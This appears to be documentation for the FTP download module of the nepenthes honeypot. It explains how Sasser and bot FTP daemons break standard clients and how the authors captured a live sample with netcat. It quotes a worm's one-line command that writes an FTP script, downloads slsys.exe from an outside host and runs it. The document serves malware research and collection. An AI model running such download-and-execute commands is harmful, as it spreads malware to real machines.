download-ftp provides support for
protocoll
As the ftp client windows ships is far away from being rfc compilant, curl can not be used to download files via ftp.
You may want to have a look at collected malware ftp daemon fingerprints
Windows ftp.exe uses active ftp without EPRT, curl can be forced to use this old standard, by setting CURLOPT_PORT and CURLOPT_EPRT, but some broken ftp daemon implementations respond wiered to commands they do not understand.
example: sasser
<- 220 OK -> USER anonymous <- 331 OK -> PASS guest <- 230 OK -> PWD <- 226 OK -> EPSV <- 226 OK -> PASV <- 226 OK -> QUIT
sasser can not server passive ftp (PASV), and responds with 226 OK.
if we set PORT we get this:
<- 220 OK -> USER anonymous <- 331 OK -> PASS bin <- 230 OK -> PWD <- 226 OK -> EPRT |1|192.168.0.23|40048| <- 226 OK -> LPRT 4,4,192,168,0,23,2,156,113 <- 226 OK -> PORT 192,168,0,23,156,114 <- 200 OK -> TYPE I <- 226 OK -> QUIT
curl tries to use EPRT and LPRT and the sasser ftp daemon is not able to reply correctly. curl disconnects again
so we tell curl not to use EPRT.
<- 220 OK -> USER anonymous <- 331 OK -> PASS bin <- 230 OK -> PWD <- 226 OK -> PORT 192,168,0,23,156,119 <- 200 OK -> TYPE I <- 226 OK -> QUIT
curl tries to set TYPE, the sasser ftpd is not able to respond properly, curl recognizes this as error, and disconnects. At the moment there is no possibilty to make curl not sending TYPE or ignoring the reply curl gets to the TYPE request.
this is how the windows ftp.exe client does it.
<- 220 OK -> USER anonymous <- 331 OK -> PASS bin <- 230 OK -> PORT 192,168,0,23,4,195 <- 200 OK -> RETR 11576_up.exe <- 150 OK <- 226 OK -> QUIT
and obviously this worked fine.
so we can not curl to download all the fine sasser variants out there, and have to emulate the broken windows ftp client on our own.
some further words about the sasser ftp daemon
The appearance of the new Sasser worms is seemingly directly linked to the wave of viruses blighting the Internet over the last few months. PandaLabs has also detected the new Netsky.AC worm, which like its predecessors contains a message hidden inside its code. On this occasion however, there are no insulting messages to the authors of other worms such as Bagle or Mydoom, but instead a message directed at antivirus vendors. The message claims that the authors are also responsible for the Sasser worms:
Hey, av firms, do you know that we have programmed the sasser virus?!?. Yeah thats true! Why do you have named it sasser? A Tip: Compare the FTP-Server code with the one from Skynet.V!!! LooL! We are the Skynet...' Here is an part of the sasser sourcecode you named so, lol
looking at the logs we found some tries to download a file called “slsys.exe” but no try was a success ... so we digged deeper, got the line to download the file from the logs
cmd /c echo open 212.XXX.184.53 2812 » ii &echo user a a » ii &echo binary » ii &echo get slsys.exe » ii &echo bye » ii &ftp -n -v -s:ii &del ii &slsys.exe
and found a box that was still online serving the file ( the above is down ).
before we start some words about the file we put it into http://www.virustotal.com
| Scanner | Version | Signature Date | Result |
|---|---|---|---|
| AntiVir | 6.31.1.0 | 09.09.2005 | no virus found |
| Avast | 4.6.695.0 | 09.09.2005 | no virus found |
| AVG | 718 | 09.09.2005 | BackDoor.Wootbot.FH |
| Avira | 6.31.1.0 | 09.09.2005 | no virus found |
| BitDefender | 7.0 | 09.02.2005 | Backdoor.SDBot.21A6B5E4 |
| CAT-QuickHeal | 8.00 | 09.09.2005 | (Suspicious) - DNAScan |
| ClamAV | devel-20050725 | 09.09.2005 | no virus found |
| DrWeb | 4.32b | 09.09.2005 | no virus found |
| eTrust-Iris | 7.1.194.0 | 09.09.2005 | Win32/SdBot.88309!Worm |
| eTrust-Vet | 11.9.1.0 | 09.09.2005 | Win32.ForBot.PY |
| Fortinet | 2.41.0.0 | 09.07.2005 | suspicious |
| F-Prot | 3.16c | 09.09.2005 | no virus found |
| Ikarus | 0.2.59.0 | 09.09.2005 | no virus found |
| Kaspersky | 4.0.2.24 | 09.09.2005 | Backdoor.Win32.Wootbot.gen |
| McAfee | 4578 | 09.09.2005 | no virus found |
| NOD32v2 | 1.1213 | 09.09.2005 | a variant of Win32/Agobot |
| Norman | 5.70.10 | 09.09.2005 | no virus found |
| Panda | 8.02.00 | 09.09.2005 | no virus found |
| Sophos | 3.97.0 | 09.09.2005 | no virus found |
| Symantec | 8.0 | 09.09.2005 | no virus found |
| TheHacker | 5.8.2.102 | 09.08.2005 | no virus found |
| VBA32 | 3.10.4 | 09.09.2005 | Backdoor.Win32.Wootbot.gen |
gaining a valid copy of the file was really hard,
<- 220 -> USER a <- 331 -> PASS a <- 230 -> TYPE I <- 200 -> PORT 192,168,0,23,4,195 <- 200 OK -> RETR slsys.exe <- 150 OK -> QUIT <- 226 OK
this would get the file, but is useless if your running nepenthes ...
As nepenthes does not send the TYPE I request to set binary mode the virus ftp server fails sending the file.
If you think the nepenthes download-ftp did worse, look at wget ...
wget ftp://a:a@212.XXX.83.137:1609/slsys.exe
--00:06:18-- ftp://a:*password*@212.XXX.83.137:1609/slsys.exe
=> `slsys.exe'
Connecting to 212.XXX.83.137:1609... verbunden.
Anmelden als a ... Angemeldet!
==> SYST ... Speicherzugriffsfehler
We ran wget in valgrind compiled from source.
==> SYST ... ==13841== ==13841== Invalid read of size 1 ==13841== at 0x1BA72E52: strcasecmp (in /lib/libc-2.3.4.so) ==13841== by 0x8052D5C: ftp_syst (in /tmp/installed-wget/bin/wget) ==13841== by 0x804FFBF: getftp (in /tmp/installed-wget/bin/wget) ==13841== by 0x805087A: ftp_loop_internal (in /tmp/installed-wget/bin/wget) ==13841== by 0x8051E2B: ftp_loop (in /tmp/installed-wget/bin/wget) ==13841== by 0x8064185: retrieve_url (in /tmp/installed-wget/bin/wget) ==13841== by 0x8060267: main (in /tmp/installed-wget/bin/wget) ==13841== Address 0x0 is not stack'd, malloc'd or (recently) free'd
looking into the source gave us this
/* Which system type has been reported (we are interested just in the first word of the server response)? */ request = strtok (NULL, " ");
request is not checked for being NULL.
checking request for being NULL gave us the result wget would crash on the next reply ...
so, wget hit the wall, and what about curl?
curl --verbose --disable-eprt --ftp-port - --verbose ftp://a:a@212.XXX.83.137:1609/slsys.exe * About to connect() to 212.XXX.83.137 port 1609 * Trying 212.XXX.83.137... connected * Connected to 212.XXX.83.137 (212.XXX.83.137) port 1609 < 220 > USER a < 331 > PASS a < 230 > PWD < 200 > PORT 134,61,128,10,10,10 < 200 * Connect data stream actively > TYPE I < 150 * Couldn't set desired mode * Connection #0 to host 212.202.83.137 left intact curl: (17) Couldn't set desired mode > QUIT < 226 * Closing connection #0
curl does _not_ crash ... but does not download too ... not sending PWD and sending TYPE I before sending PORT and curl would get it done.
lftp simply failed.
$ lftp lftp :~> debug 10 lftp :~> open ftp://a:a@212.XXX.83.137:1609 ---- Resolving host address... ---- 1 address found lftp a@212.202.83.137:~> user a Password: lftp a@212.XXX.83.137:~> get slsys.exe dns cache hit ---- Connecting to 212.XXX.83.137 (212.XXX.83.137) port 1609 <--- 220 ---> FEAT <--- 331 ---> AUTH TLS <--- 230 ---> USER a **** gnutls_handshake: A record packet with illegal version was received. ---- Closing control socket get: Fatal error: gnutls_handshake: A record packet with illegal version was received.
so we switched ssl off.
lftp a@212.XXX.83.137:~> set ftp:ssl-allow off
retried getting the file
lftp a@212.XXX.83.137:~> get slsys.exe dns cache hit ---- Connecting to 212.XXX.83.137 (212.XXX.83.137) port 1609 <--- 220 ---> FEAT <--- 331 ---> USER a <--- 230 ---> PWD <--- 200 ---> TYPE I <--- 200 ---> SIZE slsys.exe <--- 150 <--- 226 ---> MDTM slsys.exe <--- 221 ---> PASV **** Peer closed connection ---- Closing data socket ---- Closing control socket Interrupt
disabled passive mode
lftp a@212.XXX.83.137:~> set ftp:passive-mode off
retried getting the file
lftp a@212.XXX.83.137:~> get slsys.exe dns cache hit ---- Connecting to 212.XXX.83.137 (212.XXX.83.137) port 1609 <--- 220 ---> FEAT <--- 331 ---> USER a <--- 230 ---> PWD <--- 200 ---> TYPE I <--- 200 ---> SIZE slsys.exe <--- 150 <--- 226 ---> MDTM slsys.exe <--- 221 ---> PORT 192,168,0,23,10,17 **** Peer closed connection ---- Closing data socket ---- Closing control socket Interrupt lftp a@212.XXX.83.137:~>
and it still failed. PWD SIZE and MDTM puzzle the virus ftp daemon.
he at least downloaded the file, but converted it to ascii format ...
$ ftp ftp> debug Debugging on (debug=1). ftp> verbose Verbose mode off. ftp> verbose Verbose mode on. ftp> open 212.XXX.83.137 1609 Connected to 212.XXX.83.137. 220 ftp: setsockopt: Bad file descriptor Name (212.XXX.83.137:user): a ---> USER a 331 Password: ---> PASS XXXX 230 ---> SYST 200 Remote system type is . ftp> get slsys.exe local: slsys.exe remote: slsys.exe ftp: setsockopt (ignored): Permission denied ---> PORT 192,168,0,23,10,22 200 ---> RETR slsys.exe 150 WARNING! 351 bare linefeeds received in ASCII mode File may not have transferred correctly. 226 88309 bytes received in 0.77 secs (112.2 kB/s)
this ftp client does _not_ send the TYPE I, but sends SYST instead, and accepts the reply as valid. the file we get is b0rked as the ftp client saves it as a text file. putting the client in binary mode, make him send “TYPE I” and breaks the virus ftp daemons command order.
we opend a controll connection, send the user, pass, syst, port and retr requests, and accepted the file on using another netcat in listen mode.
nc -vv -l -p 2539 > /tmp/slsys.exe
$ nc 212.XXX.83.137 1609 <- 220 -> USER a <- 331 -> PASS a <- 230 -> SYST <- 200 -> PORT 192,168,0,23,9,235 <- 200 -> RETR slsys.exe <- 150 <- 226
so, using netcat we were able to download the file.
currently there is none.
I had to write the whole DNS* stuff to get this working properly.
depends on nothing.